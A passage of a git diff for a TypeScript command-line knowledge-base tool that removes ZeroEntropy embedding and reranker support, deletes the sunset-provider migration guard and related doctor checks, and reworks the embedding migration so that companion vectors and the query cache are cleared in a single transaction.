'transcripts': ['--all', '--all-discovery', '--background', '--brain', '--days', '--dry-run', '--embed', '--explain', '--facts', '--follow', '--format', '--full', '--help', '--include-self', '--json', '--limit', '--max-bytes', '--max-cost-usd', '--progress-interval', '--progress-json', '--quiet', '--since', '--source', '--source-id', '--timeout'],
- 'upgrade': ['--acknowledge-no-backup', '--all', '--apply-clean-hunks', '--backup-confirmed', '--brain', '--check', '--concurrency', '--confirm-quiesced', '--content-root', '--cost-estimate', '--dim', '--embedding-dimensions', '--embedding-model', '--export-db-only', '--export-source', '--ff-only', '--force', '--force-all', '--force-orchestrator', '--force-retry', '--force-schema', '--format', '--help', '--host-dir', '--inject-bootstrap', '--inline', '--install', '--interval', '--json', '--limit', '--list', '--markdown', '--max-rss', '--migrate-only', '--migration', '--mode', '--multimodal', '--name-only', '--no-autopilot-install', '--no-embed', '--no-embedding', '--no-inject', '--no-worker', '--non-interactive', '--now', '--once', '--pglite', '--quiet', '--repo', '--require-db', '--skills-dir', '--skip-verify', '--source', '--stale', '--status', '--supabase', '--swap-only', '--target', '--to', '--uninstall', '--user', '--verify', '--version', '--workers', '--yes'],
+ 'upgrade': ['--acknowledge-no-backup', '--all', '--apply-clean-hunks', '--backup-confirmed', '--brain', '--check', '--concurrency', '--confirm-quiesced', '--content-root', '--cost-estimate', '--embedding-dimensions', '--embedding-model', '--export-db-only', '--export-source', '--ff-only', '--force', '--force-all', '--force-orchestrator', '--force-retry', '--force-schema', '--format', '--help', '--host-dir', '--inject-bootstrap', '--inline', '--install', '--interval', '--json', '--limit', '--list', '--markdown', '--max-rss', '--migrate-only', '--migration', '--mode', '--multimodal', '--name-only', '--no-autopilot-install', '--no-embed', '--no-inject', '--no-worker', '--non-interactive', '--now', '--once', '--quiet', '--repo', '--require-db', '--skills-dir', '--skip-verify', '--source', '--status', '--swap-only', '--target', '--uninstall', '--user', '--verify', '--version', '--workers', '--yes'],
'waiting': ['--all', '--brain', '--help', '--json', '--source', '--stale-ok', '--status', '--top', '--type'],
'watch': ['--brain', '--help', '--json', '--max-pages', '--min-confidence', '--source', '--window-turns'],
'whoknows': ['--access', '--asof', '--bound-slug-prefixes', '--brain', '--date', '--days', '--entities', '--explain', '--file', '--full', '--help', '--http', '--image', '--json', '--kind', '--limit', '--mcp-only', '--mode', '--multimodal', '--once', '--page', '--path', '--session', '--since', '--slug', '--slugs', '--source', '--stats', '--surface', '--trusted-extraction', '--types', '--url', '--yes'],
- 'ze-switch': ['--background', '--brain', '--confirm-reembed', '--dim', '--dry-run', '--explain', '--follow', '--force', '--help', '--ignore-env-override', '--ignore-missing-key', '--json', '--markdown', '--non-interactive', '--progress-interval', '--progress-json', '--quiet', '--reranker', '--resume', '--source', '--timeout', '--to', '--undo', '--yes'],
};
diff --git a/src/core/config-db-merge.ts b/src/core/config-db-merge.ts
index 186eea6540..1a8dbccdfb 100644
--- a/src/core/config-db-merge.ts
+++ b/src/core/config-db-merge.ts
@@ -36,7 +36,6 @@ import type { GBrainConfig } from './config.ts';
export const DB_MERGED_PROVIDER_KEY_FIELDS = [
'openai_api_key',
'anthropic_api_key',
- 'zeroentropy_api_key',
'openrouter_api_key',
'voyage_api_key',
'dashscope_api_key',
diff --git a/src/core/config.ts b/src/core/config.ts
index 1402793cd1..64df4a4bb7 100644
--- a/src/core/config.ts
+++ b/src/core/config.ts
@@ -73,16 +73,6 @@ export interface GBrainConfig {
database_path?: string;
openai_api_key?: string;
anthropic_api_key?: string;
- /**
- * ZeroEntropy API key. v0.37 fix wave (CDX2-5+6): ZE became the default
- * embedding + reranker provider in v0.36 but lacked a file-plane config
- * slot. `gbrain config set zeroentropy_api_key X` wrote DB plane,
- * `loadConfig` only merged OpenAI/Anthropic, and `buildGatewayConfig`
- * at cli.ts:1401 only mapped those two — so the key never reached the
- * embed pipeline. Now wired through: file plane → loadConfig env
- * merge → buildGatewayConfig env dict → recipe reads ZEROENTROPY_API_KEY.
- */
- zeroentropy_api_key?: string;
/**
* OpenRouter API key. File-plane slot so `gbrain config set
* openrouter_api_key X` (or config.json) reaches the openrouter recipe:
@@ -90,19 +80,7 @@ export interface GBrainConfig {
* reads OPENROUTER_API_KEY.
*/
openrouter_api_key?: string;
- /**
- * Voyage AI API key (#2662). File-plane slot so `~/.gbrain/config.json`'s
- * `voyage_api_key` reaches the voyage recipe the same way
- * zeroentropy_api_key/openrouter_api_key do: file plane →
- * buildGatewayConfig env dict → recipe reads VOYAGE_API_KEY. Before this,
- * launchd/daemon/MCP contexts without a process-env export silently
- * failed multimodal embeds despite config.json looking complete.
- *
- * NOTE: `gbrain config set voyage_api_key X` routes to the FILE plane
- * (FILE_PLANE_API_KEYS in src/commands/config.ts); a value that landed in
- * the DB plane anyway is still honored via the #2119 read-side merge
- * (DB_MERGED_PROVIDER_KEY_FIELDS, env > file > DB).
- */
+
voyage_api_key?: string;
/**
* Alibaba DashScope API key (#3500). File-plane slot so config.json's
@@ -149,7 +127,7 @@ export interface GBrainConfig {
azure_openai_endpoint?: string;
azure_openai_deployment?: string;
azure_openai_use_entra?: string;
- /** AI gateway config (v0.14+). v0.36+ default: "zeroentropyai:zembed-1" / 1280 / "anthropic:claude-haiku-4-5-20251001". */
+
embedding_model?: string;
embedding_dimensions?: number;
/**
@@ -739,7 +717,6 @@ export function loadConfig(): GBrainConfig | null {
...(dbUrl ? { database_path: undefined } : {}),
...(process.env.OPENAI_API_KEY ? { openai_api_key: process.env.OPENAI_API_KEY } : {}),
...(process.env.ANTHROPIC_API_KEY ? { anthropic_api_key: process.env.ANTHROPIC_API_KEY } : {}),
- ...(process.env.ZEROENTROPY_API_KEY ? { zeroentropy_api_key: process.env.ZEROENTROPY_API_KEY } : {}),
...(process.env.OPENROUTER_API_KEY ? { openrouter_api_key: process.env.OPENROUTER_API_KEY } : {}),
...(process.env.GBRAIN_EMBEDDING_MODEL ? { embedding_model: process.env.GBRAIN_EMBEDDING_MODEL } : {}),
...(process.env.GBRAIN_EMBEDDING_DIMENSIONS ? { embedding_dimensions: parseInt(process.env.GBRAIN_EMBEDDING_DIMENSIONS, 10) } : {}),
@@ -1222,7 +1199,6 @@ export const KNOWN_CONFIG_KEYS: readonly string[] = [
'database_path',
'openai_api_key',
'anthropic_api_key',
- 'zeroentropy_api_key',
'openrouter_api_key',
'voyage_api_key',
'dashscope_api_key',
@@ -1554,13 +1530,6 @@ export const KNOWN_CONFIG_KEYS: readonly string[] = [
// isAutoTimelineEnabled); registered so `gbrain config set auto_timeline off`
// works without --force, as the compiled-truth guide documents.
'auto_timeline',
- // v0.46.3: the provider_sunset doctor check's own suppression escape hatch
- // (doctor.ts) and docs/guides/embedding-migration.md both document
- // `gbrain config set doctor.suppress_provider_sunset true`, but the key was
- // never registered — the documented command exited 1 with "Unknown config
- // key". Same class as auto_chronicle above. Deliberately an exact key, not
- // a blanket 'doctor.' prefix (unbounded namespaces defeat the typo gate).
- 'doctor.suppress_provider_sunset',
// #2606: chronicle judge output-token cap (default 4000). Event-dense
// pages overflowed the old hardcoded 1500 and were misrecorded as
// no_events; the cap is now configurable and truncation is surfaced.
diff --git a/src/core/doctor-categories.ts b/src/core/doctor-categories.ts
index bc632b103d..ac7872f2ad 100644
--- a/src/core/doctor-categories.ts
+++ b/src/core/doctor-categories.ts
@@ -198,7 +198,6 @@ export const OPS_CHECK_NAMES: ReadonlySet<string> = new Set([
'plugin_lane_collision',
'pool_budget',
'progressive_batch_audit_health',
- 'provider_sunset',
'queue_health',
'reranker_health',
'rls',
@@ -216,7 +215,6 @@ export const OPS_CHECK_NAMES: ReadonlySet<string> = new Set([
'wedged_queue',
'orphaned_private_queue',
'worker_oom_loop',
- 'ze_embedding_health',
]);
/**
diff --git a/src/core/embedding-context.ts b/src/core/embedding-context.ts
index cd5d13fa2b..c8b14c94b3 100644
--- a/src/core/embedding-context.ts
+++ b/src/core/embedding-context.ts
@@ -39,18 +39,6 @@ const TITLE_HARD_CAP_CHARS = 300;
*/
const SUMMARY_HARD_CAP_CHARS = 300;
-/**
- * Build the `<context>...</context>\n` prefix for a chunk.
- *
- * title set, synopsis empty → `<context>{title}\n</context>\n`
- * title empty, synopsis set → `<context>\n{synopsis}\n</context>\n`
- * both set → `<context>{title}\n{synopsis}\n</context>\n`
- * both null/empty → null (caller should embed raw chunk)
- *
- * Always returns null when both inputs are meaningless. The wrapper text
- * stays asymmetric (document side only) — queries embed clean per Voyage
- * / ZeroEntropy's `inputType: query` distinction.
- */
export function buildContextualPrefix(
title: string | null | undefined,
synopsis: string | null | undefined,
diff --git a/src/core/embedding-dim-check.ts b/src/core/embedding-dim-check.ts
index f85efbf84f..851b3ca3b3 100644
--- a/src/core/embedding-dim-check.ts
+++ b/src/core/embedding-dim-check.ts
@@ -24,9 +24,6 @@ import {
supportsVoyageOutputDimension,
isValidVoyageOutputDim,
VOYAGE_VALID_OUTPUT_DIMS,
- supportsZeroEntropyDimension,
- isValidZeroEntropyDim,
- ZEROENTROPY_VALID_DIMS,
isOpenAITextEmbedding3Model,
isValidOpenAITextEmbedding3Dim,
maxOpenAITextEmbedding3Dim,
@@ -366,24 +363,6 @@ export function resolveSchemaMultimodalDim(opts: ResolveSchemaMultimodalDimOpts)
}
}
-/**
- * Shared validation of a requested dim against a recipe touchpoint's
- * declared dims, including provider-specific Matryoshka allow-lists.
- *
- * Recipes (`src/core/ai/recipes/*.ts`) declare `default_dims` per touchpoint
- * but do NOT generally encode Matryoshka steps as `dims_options`. The
- * per-provider valid-dim allow-lists live in `src/core/ai/dims.ts`:
- * - `VOYAGE_VALID_OUTPUT_DIMS` (256/512/1024/2048) for flexible Voyage models
- * - `ZEROENTROPY_VALID_DIMS` (2560/1280/640/320/160/80/40) for ZE zembed-1
- * - OpenAI text-embedding-3-* accepts ANY positive integer up to the
- * model's native size (1536 small / 3072 large)
- *
- * Validation order:
- * 1. recipe-declared `dims_options` (highest precedence — recipe author
- * knows their backend)
- * 2. provider-specific dim.ts allow-lists (for known Matryoshka providers)
- * 3. fall through to "this model only emits default_dims" rejection
- */
function validateDimAgainstTouchpoint(
modelId: string,
recipe: Recipe,
@@ -475,15 +454,6 @@ function isCustomDimValidForProvider(
`(allowed: ${VOYAGE_VALID_OUTPUT_DIMS.join(', ')}).`,
};
}
- if (recipe.id === 'zeroentropyai' && supportsZeroEntropyDimension(modelId)) {
- if (isValidZeroEntropyDim(requestedDims)) return { valid: true, error: '' };
- return {
- valid: false,
- error:
- `ZeroEntropy model "${modelId}" does not support custom dimensions ${requestedDims} ` +
- `(allowed: ${ZEROENTROPY_VALID_DIMS.join(', ')}).`,
- };
- }
if (recipe.id === 'perplexity' && isPerplexityEmbeddingModel(modelId)) {
if (isValidPerplexityDim(modelId, requestedDims)) return { valid: true, error: '' };
return {
@@ -503,14 +473,6 @@ function isCustomDimValidForProvider(
};
}
- // Passthrough tier (#2271): local / bring-your-own-backend recipes (ollama,
- // llama-server, litellm) flag trust_custom_dims because the user knows their
- // model's native dim and we can't enumerate every locally-pulled model. Trust
- // the requested dim; the provider's /embeddings response-dim validation catches
- // a genuine mismatch pre-storage. Runs AFTER Tier 1 (recipe dims_options) and
- // Tier 2 (provider Matryoshka allowlists) so a recipe that DOES declare fixed
- // options (e.g. openrouter) is still governed by those, and fixed-dim hosted
- // providers (openai/voyage/zeroentropy) never reach here as valid.
if (recipe.touchpoints.embedding?.trust_custom_dims === true) {
return { valid: true, error: '' };
}
diff --git a/src/core/embedding-migration.ts b/src/core/embedding-migration.ts
index 798a3c972d..5c528bb57a 100644
--- a/src/core/embedding-migration.ts
+++ b/src/core/embedding-migration.ts
@@ -1,42 +1,4 @@
-/**
- * Provider-agnostic embedding migration (#3390).
- *
- * `gbrain migrate embeddings --to <provider:model>` re-embeds a brain onto
- * any configured provider — the ONE forward path off a sunsetting provider
- * (the retired ze-switch is a refusal/redirect shim that points here).
- *
- * This module is the v0.47 SURVIVOR: the migration primitives live HERE
- * (runSchemaTransition, transitionDimPinnedColumn, detectEnvOverride and the
- * env gates, marker read/write, verifyMigrationComplete, readMigrationStatus,
- * verifySearchRoundTrip, reranker plan/apply, the canonical resume-command
- * renderer); retrieval-upgrade-planner.ts re-imports them for back-compat and
- * is deleted in the ZE removal wave.
- *
- * What it owns:
- * - schema transition per dim-pinned column (content_chunks / facts /
- * query_cache repaired independently), HNSW policy via vector-index.ts
- * - staleness + resume: guarded stale-signature invalidation
- * (embedding-invalidation.ts — embed_skip pages retained, #4306) widened
- * with `includeNullSignature: true` (#3391), false-target-stamp clearing
- * keyed on the chunks' model column (#4305), + the NULL-embedding cursor
- * (the NULL column IS the checkpoint: a killed run re-runs the same
- * command)
- * - migration marker v2 (started_at preserved on same-target resume,
- * retarget history, force_sunset_target) + transactional completion
- * bookkeeping; markers stay content-free (privacy)
- * - DB-reality convergence (verifyMigrationComplete) — never trusts config
- * - the env gates: refuse on env≠target, notice-and-proceed on env==target,
- * env-canonical persistence when no file plane exists (the #1421
- * damage-class, where env silently kept the old model active at embed
- * time while the schema had already moved)
- * - reranker companion switch (DB plane, one tx with the cache purge) +
- * the post-drain self-retrieval smoke check (warn-only)
- *
- * The command layer (src/commands/migrate-embeddings.ts) owns everything
- * process-shaped: confirm prompts, locks + heartbeat, gateway
- * reconfiguration, and the embed drain. This module is engine-pure so both
- * engines, the op handler, doctor, and `--status` share one implementation.
- */
+import { NEW_INSTALL_DEFAULT_RERANKER_MODEL } from './ai/defaults.ts';
import type { BrainEngine } from './engine.ts';
import { resolveRecipe, embeddingDimsForModel } from './ai/model-resolver.ts';
@@ -48,29 +10,11 @@ import {
clearFalseStampedSignatures,
} from './embedding-invalidation.ts';
import { DEFAULT_EMBEDDING_MODEL, DEFAULT_EMBEDDING_DIMENSIONS } from './ai/defaults.ts';
+import { readPrimaryEmbeddingStores, readStoredEmbeddingIdentity } from './stored-embedding-identity.ts';
import { hnswIndexExpected } from './vector-index.ts';
import { loadSearchModeConfig, resolveSearchMode } from './search/mode.ts';
import { AUDIT_ROW_SOURCES } from './facts/audit-sources.ts';
-// ============================================================================
-// Env-override safety gate (moved from retrieval-upgrade-planner.ts — this
-// module is the v0.47 survivor; the planner re-exports for back-compat and
-// is deleted in the ZE removal wave)
-// ============================================================================
-
-/**
- * v0.41.2.1 — env-override safety gate.
- *
- * `process.env.GBRAIN_EMBEDDING_MODEL` and `GBRAIN_EMBEDDING_DIMENSIONS`
- * win over DB+file config in `loadConfig()`. The 716K-chunk damage
- * incident (PR #1421) shipped because ze-switch wrote DB config but
- * the env override silently kept the old model active at embed time —
- * schema migrated to 2560d while embeds still produced 1536d vectors.
- *
- * detectEnvOverride is a pure read of process.env (or an injected env
- * for tests). triggered:true means refusal is required unless the
- * caller passes ignoreEnvOverride:true (mirrors --ignore-missing-key).
- */
export interface EnvOverrideWarning {
triggered: boolean;
vars: Array<{ name: string; current: string; target: string }>;
@@ -130,10 +74,6 @@ export function formatEnvOverrideWarning(w: EnvOverrideWarning): string {
return lines.join('\n');
}
-// ============================================================================
-// Schema transition (D18; moved from retrieval-upgrade-planner.ts)
-// ============================================================================
-
/**
* The atomic DROP + ALTER + CREATE INDEX sequence for content_chunks.
* Both engines accept identical SQL (PGLite uses pgvector via WASM, same
@@ -164,18 +104,6 @@ export async function runSchemaTransition(engine: BrainEngine, targetDim: number
if (!Number.isInteger(targetDim) || targetDim <= 0 || targetDim > 100_000) {
throw new Error(`runSchemaTransition: targetDim must be a positive integer, got ${String(targetDim)}`);
}
- // v0.41 fix: only transition the primary text embedding column.
- // The embedding_image (v0.27.1) and embedding_multimodal (v0.36 / migration
- // v78) columns use SEPARATE multimodal models (e.g. voyage-multimodal-3 at
- // 1024d) whose dimensions are independent of the text embedding model.
- // Dropping and recreating either at targetDim silently breaks multimodal
- // search by creating a dimension mismatch between the column and the
- // multimodal provider's output.
- //
- // Before this fix, switching text embeddings from OpenAI (1536d) to
- // ZeroEntropy (1280d) would also change embedding_image from 1024d to
- // 1280d, making voyage-multimodal-3 unable to write to it. The same
- // class of bug applies to embedding_multimodal — leave both untouched.
await engine.transaction(async (tx) => {
// #4252: capture every index the DROP COLUMN below will cascade-drop.
// pg_depend holds the exact column→index dependency edges the cascade
@@ -390,6 +318,7 @@ export const MIGRATION_COMPLETED_KEY = 'embedding_migration.completed';
export interface MigrationState {
/** Marker schema version. Absent = v1 (pre-hardening). */
version?: 2;
+ companion_vectors_invalidated?: boolean;
to_model: string;
to_dims: number;
from_model: string;
@@ -399,8 +328,6 @@ export interface MigrationState {
* doctor report the TRUE age of the migration, not the latest retry.
*/
started_at: string;
- /** Set when the run used --force-sunset-target (resume command must too). */
- force_sunset_target?: boolean;
/** Set when this marker replaced a live different-target marker. */
retargeted_at?: string;
/** History of abandoned targets (newest last) for --status forensics. */
@@ -413,7 +340,7 @@ export interface MigrationState {
* home to gain, not four to miss.
*/
export function renderResumeCommand(state: MigrationState): string {
- return `gbrain migrate embeddings --to ${state.to_model} --dim ${state.to_dims}${state.force_sunset_target ? ' --force-sunset-target' : ''} --yes`;
+ return `gbrain migrate embeddings --to ${state.to_model} --dim ${state.to_dims} --yes`;
}
/**
@@ -603,7 +530,6 @@ export { countFalseStampedChunks, clearFalseStampedSignatures } from './embeddin
export function resolveMigrationTarget(
to: string,
dimFlag?: number,
- opts?: { allowSunsetTarget?: boolean },
): { toModel: string; toDims: number } {
if (!to.includes(':')) {
throw new Error(
@@ -615,20 +541,6 @@ export function resolveMigrationTarget(
if (!recipe.touchpoints.embedding) {
throw new Error(`Provider ${recipe.id} has no embedding support. Pick an embedding-capable provider:model.`);
}
- // v0.46.3: refuse a PAID full re-embed onto a provider with an announced
- // shutdown — the live probe passes while the hosted API is still up, so
- // without this gate an agent replaying an old runbook could strand the
- // brain days before the shutdown. Same posture as ze-switch's forward
- // refusal; `--force-sunset-target` (self-hosters with a compatible
- // endpoint) is the loud escape hatch.
- if (recipe.sunset && !opts?.allowSunsetTarget) {
- throw new Error(
- `Refusing to migrate ONTO ${recipe.name}: its hosted API stops working on ` +
- `${recipe.sunset.date}, so this paid re-embed would strand the brain. ` +
- `Recommended target: ${recipe.sunset.replacement?.embedding ?? 'voyage:voyage-4'}. ` +
- `Self-hosting a compatible endpoint? Re-run with --force-sunset-target.`,
- );
- }
const toDims = dimFlag ?? embeddingDimsForModel(recipe, to);
if (!toDims || toDims <= 0) {
throw new Error(
@@ -645,16 +557,17 @@ export function resolveMigrationTarget(
*/
export async function planEmbeddingMigration(
engine: BrainEngine,
- opts: { to: string; dim?: number; fromModel?: string; fromDims?: number; allowSunsetTarget?: boolean },
+ opts: { to: string; dim?: number; fromModel?: string; fromDims?: number },
): Promise<EmbeddingMigrationPlan> {
- const { toModel, toDims } = resolveMigrationTarget(opts.to, opts.dim, {
- allowSunsetTarget: opts.allowSunsetTarget,
- });
+ const { toModel, toDims } = resolveMigrationTarget(opts.to, opts.dim);
// From-state: caller (CLI) passes the gateway-resolved values; fall back
// to the shipped defaults for gateway-less contexts (unit tests, op probe).
- const fromModel = opts.fromModel ?? DEFAULT_EMBEDDING_MODEL;
- const fromDims = opts.fromDims ?? DEFAULT_EMBEDDING_DIMENSIONS;
+ const stored = opts.fromModel === undefined || opts.fromDims === undefined
+ ? await readStoredEmbeddingIdentity(engine)
+ : null;
+ const fromModel = opts.fromModel ?? stored?.model ?? (stored ? 'unrecorded' : DEFAULT_EMBEDDING_MODEL);
+ const fromDims = opts.fromDims ?? stored?.dimensions ?? DEFAULT_EMBEDDING_DIMENSIONS;
const col = await readContentChunksEmbeddingDim(engine);
@@ -722,19 +635,13 @@ export async function planEmbeddingMigration(
// Column may not exist on older brains — informational only.
}
- // Sunset companion warning: migrating embeddings off a provider whose
- // reranker is still ACTIVE leaves rerank on the outgoing provider. Resolved
- // THROUGH the mode bundles (not the bare DB key) — the common ZE case is an
- // unset key riding the bundle default, which the old key-only read missed.
let rerankerWarning: string | null = null;
try {
const exposure = await resolveRerankerExposure(engine, fromModel, toModel);
if (exposure) {
rerankerWarning =
`the resolved reranker is ${exposure.model}` +
- (exposure.sunset_date
- ? ` and its provider shuts down ${exposure.sunset_date}`
- : ' (the outgoing provider)') +
+ ' (the outgoing or unsupported provider)' +
` — pass --reranker to switch or disable it in the same run`;
}
} catch {
@@ -1167,12 +1074,6 @@ export async function verifyMigrationComplete(
* (via callback — the core module never touches ~/.gbrain), stale-signature
* invalidation (#3391: includeNullSignature), and query-cache purge.
*
- * Ordering makes every step idempotent under a crash + re-run:
- * state marker → schema → config → invalidate → cache purge.
- * A crash anywhere leaves the state marker set; the re-run re-executes the
- * remaining steps (schema transition no-ops when the column is already at
- * the target width via the actual-width probe; invalidation matches nothing
- * the second time).
*/
export async function applyEmbeddingMigration(
engine: BrainEngine,
@@ -1182,7 +1083,6 @@ export async function applyEmbeddingMigration(
/** Persist target model+dims to the file plane + reconfigure the gateway. */
persistConfig?: (toModel: string, toDims: number) => void | Promise<void>;
/** Stamped into the marker so the printed resume command is complete. */
- forceSunsetTarget?: boolean;
} = {},
): Promise<MigrationApplyResult> {
const envWarning = detectEnvOverride(plan.to_model, plan.to_dims);
@@ -1210,12 +1110,12 @@ export async function applyEmbeddingMigration(
from_dims: plan.from_dims,
started_at: now,
};
- if (opts.forceSunsetTarget) state.force_sunset_target = true;
if (sameTarget && prior.state) {
// Resume: keep the original run's identity.
state.from_model = prior.state.from_model;
state.from_dims = prior.state.from_dims;
state.started_at = prior.state.started_at;
+ state.companion_vectors_invalidated = prior.state.companion_vectors_invalidated;
if (prior.state.retargeted_at) state.retargeted_at = prior.state.retargeted_at;
if (prior.state.superseded) state.superseded = prior.state.superseded;
} else if (prior.state) {
@@ -1263,39 +1163,38 @@ export async function applyEmbeddingMigration(
// vectors are invisible to every stale selector, so NULLing them
// would be permanent loss.
//
- // ORDERING (adversarial review): invalidation MUST precede the config
- // writes below. On a SAME-dim provider swap there is no schema
- // transition to null the vectors, so a crash between "config says new
- // provider" and "old vectors invalidated" would leave NEW-space query
- // embeddings scored against OLD-space document vectors — silently
- // WRONG results. Invalidating first makes the crash window safe:
- // config still says the old provider, and the rows are merely stale
- // (empty/degraded results, never wrong ones).
await clearFalseStampedSignatures(engine, plan.to_model, plan.to_dims);
const invalidated = await invalidateStaleSignatureEmbeddingsGuarded(engine, {
signature: migrationSignature(plan.to_model, plan.to_dims),
includeNullSignature: true,
});
- // 4. DB-plane config (doctor's embedding_width_consistency reads these).
- await engine.setConfig('embedding_model', plan.to_model);
- await engine.setConfig('embedding_dimensions', String(plan.to_dims));
+ let cacheCleared = 0;
+ await engine.transaction(async (tx) => {
+ const stores = await readPrimaryEmbeddingStores(tx);
+ if (!state.companion_vectors_invalidated
+ && (state.from_model !== plan.to_model || state.from_dims !== plan.to_dims
+ || await tx.getConfig('embedding_model') !== plan.to_model)) {
+ for (const table of stores) {
+ if (table === 'content_chunks' || table === 'query_cache') continue;
+ await tx.executeRaw(`UPDATE ${table} SET embedding = NULL${table === 'takes' ? ', embedded_at = NULL' : ''} WHERE embedding IS NOT NULL`);
+ }
+ }
+ if (stores.includes('query_cache')) {
+ const rows = await tx.executeRaw<{ n: number }>(
+ 'WITH cleared AS (DELETE FROM query_cache RETURNING id) SELECT count(*)::int AS n FROM cleared',
+ );
+ cacheCleared = Number(rows[0]?.n ?? 0);
+ }
+ state.companion_vectors_invalidated = true;
+ await tx.setConfig(MIGRATION_STATE_KEY, JSON.stringify(state));
+ await tx.setConfig('embedding_model', plan.to_model);
+ await tx.setConfig('embedding_dimensions', String(plan.to_dims));
+ });
// 5. File plane + gateway (the embed pipeline reads file/env, not DB).
await opts.persistConfig?.(plan.to_model, plan.to_dims);
- // 6. Purge the semantic query cache. The knobs hash folds provider:model
- // for callers that thread KnobsHashContext, but legacy callers fall
- // back to 'default' — a row they wrote pre-migration must not be
- // served post-migration. Best-effort (cache must never block).
- let cacheCleared = 0;
- try {
- const { SemanticQueryCache } = await import('./search/query-cache.ts');
- cacheCleared = await new SemanticQueryCache(engine).clear({});
- } catch {
- // Table may not exist on old brains; a miss here is harmless.
- }
-
return {
status: 'applied',
invalidated,
@@ -1312,36 +1211,23 @@ export async function applyEmbeddingMigration(
// Reranker companion switch (D8): embeddings + reranker are ONE flow.
// ============================================================================
-/**
- * Is the brain's ACTIVE reranker (resolved through mode bundles, not just the
- * explicit DB key) exposed by this migration? Exposed = reranking is enabled
- * AND the resolved model's provider is sunsetting OR is the outgoing
- * embedding provider while the target is a different one.
- */
export async function resolveRerankerExposure(
engine: BrainEngine,
fromModel: string,
toModel: string,
-): Promise<{ model: string; sunset_date: string | null; replacement: string | null } | null> {
+): Promise<{ model: string } | null> {
const knobs = resolveSearchMode(await loadSearchModeConfig(engine));
if (!knobs.reranker_enabled) return null;
const current = knobs.reranker_model;
const currentProvider = current.split(':')[0];
const outgoingProvider = fromModel.split(':')[0];
const targetProvider = toModel.split(':')[0];
- let sunsetDate: string | null = null;
- let replacement: string | null = null;
- try {
- const { recipe } = resolveRecipe(current);
- sunsetDate = recipe.sunset?.date ?? null;
- replacement = recipe.sunset?.replacement?.reranker ?? null;
- } catch {
- // Unknown reranker recipe: not classifiable as exposed — rerank already
- // fails open at search time and doctor's provider checks own that case.
- }
- const exposed = sunsetDate !== null
- || (currentProvider === outgoingProvider && currentProvider !== targetProvider);
- return exposed ? { model: current, sunset_date: sunsetDate, replacement } : null;
+ let unsupported = false;
+ try { resolveRecipe(current); } catch { unsupported = true; }
+ return unsupported || (currentProvider === outgoingProvider && currentProvider !== targetProvider)
+ ? { model: current }
+ : null;
+
}
export type RerankerAction =
@@ -1350,7 +1236,7 @@ export type RerankerAction =
| { kind: 'none'; suggestion: string | null };
export interface RerankerPlan {
- exposed: { model: string; sunset_date: string | null } | null;
+ exposed: { model: string } | null;
action: RerankerAction;
}
@@ -1375,7 +1261,7 @@ export async function resolveRerankerPlan(
): Promise<RerankerPlan> {
const exposedFull = await resolveRerankerExposure(engine, fromModel, toModel);
const exposed = exposedFull
- ? { model: exposedFull.model, sunset_date: exposedFull.sunset_date }
+ ? { model: exposedFull.model }
: null;
const mode = flag ?? 'auto';
@@ -1411,7 +1297,7 @@ export async function resolveRerankerPlan(
} catch { /* fall through to suggestion */ }
// Target provider has no reranker: suggest, never silently enable a THIRD
// provider's paid service.
- return { exposed, action: { kind: 'none', suggestion: exposedFull.replacement } };
+ return { exposed, action: { kind: 'none', suggestion: NEW_INSTALL_DEFAULT_RERANKER_MODEL } };
}
/**
diff --git a/src/core/embedding-pricing.ts b/src/core/embedding-pricing.ts
index 63c981d916..af5253aabf 100644
--- a/src/core/embedding-pricing.ts
+++ b/src/core/embedding-pricing.ts
@@ -44,11 +44,6 @@ export const EMBEDDING_PRICING: Record<string, EmbeddingPricing> = {
'voyage:voyage-finance-2': { pricePerMTok: 0.12 },
'voyage:voyage-law-2': { pricePerMTok: 0.12 },
'voyage:voyage-multimodal-3': { pricePerMTok: 0.12 },
- // Voyage rerankers (same pricing page; 2.5 pair verified 2026-08-21, the
- // rerank-3 preview pair 2026-09-06). Same budget-tracker rerank-kind
- // fallback rationale as the zerank-2 row below. Rows carry the list rate:
- // Voyage's free-token grants are per-account and not modeled here, so
- // over-reporting inside a grant beats under-reporting past it.
'voyage:rerank-2.5': { pricePerMTok: 0.05 },
'voyage:rerank-2.5-lite': { pricePerMTok: 0.02 },
'voyage:rerank-3': { pricePerMTok: 0.05 },
@@ -67,12 +62,6 @@ export const EMBEDDING_PRICING: Record<string, EmbeddingPricing> = {
'voyage:voyage-3': { pricePerMTok: 0.06 },
'voyage:voyage-3-lite': { pricePerMTok: 0.02 },
'voyage:voyage-code-3': { pricePerMTok: 0.18 },
- // ZeroEntropy (https://www.zeroentropy.dev/pricing, verified 2026-07-28)
- 'zeroentropyai:zembed-1': { pricePerMTok: 0.05 },
- // ZeroEntropy reranker (docs/ai-providers/zeroentropy.md — $0.025/1M tokens).
- // Reused here (not a separate rerank table) because budget-tracker.ts's
- // rerank-kind lookup falls back to this same table for paid providers.
- 'zeroentropyai:zerank-2': { pricePerMTok: 0.025 },
// Mistral (https://mistral.ai/pricing/api/, verified 2026-07-28)
'mistral:mistral-embed': { pricePerMTok: 0.10 },
'mistral:mistral-embed-2312': { pricePerMTok: 0.10 },
diff --git a/src/core/embedding.ts b/src/core/embedding.ts
index 658b59372a..c8eb48656e 100644
--- a/src/core/embedding.ts
+++ b/src/core/embedding.ts
@@ -39,18 +39,6 @@ export async function embed(text: string): Promise<Float32Array> {
return gatewayEmbedOne(text);
}
-/**
- * v0.35.0.0+: embed a single text on the QUERY side. For asymmetric providers
- * (ZE zembed-1, Voyage v3+) this routes `input_type: 'query'` through the
- * embed seam so the provider returns query-side vectors. For symmetric
- * providers (OpenAI text-3, DashScope, Zhipu) the field is dropped — no
- * behavior change. Used by hybrid.ts on the search hot path.
- *
- * v0.36 (D10): optional `embeddingModel` + `dimensions` overrides so the
- * dynamic-embedding-column path can embed via the column's provider rather
- * than the globally-configured default. Bare `embedQuery(text)` preserves
- * pre-v0.36 behavior.
- */
export async function embedQuery(
text: string,
opts?: { embeddingModel?: string; dimensions?: number; abortSignal?: AbortSignal },
@@ -140,7 +128,7 @@ export const EMBEDDING_COST_PER_1K_TOKENS = 0.00013;
export function currentEmbeddingPricePerMTok(): number {
let modelString: string;
try {
- modelString = gatewayGetModel(); // e.g. 'zeroentropyai:zembed-1'
+ modelString = gatewayGetModel();
} catch {
// Gateway not configured (e.g. unit tests, cost preview before connect).
// Fall back to the OpenAI text-embedding-3-large default rate.
diff --git a/src/core/init-embed-check.ts b/src/core/init-embed-check.ts
index fba626598f..b41b978037 100644
--- a/src/core/init-embed-check.ts
+++ b/src/core/init-embed-check.ts
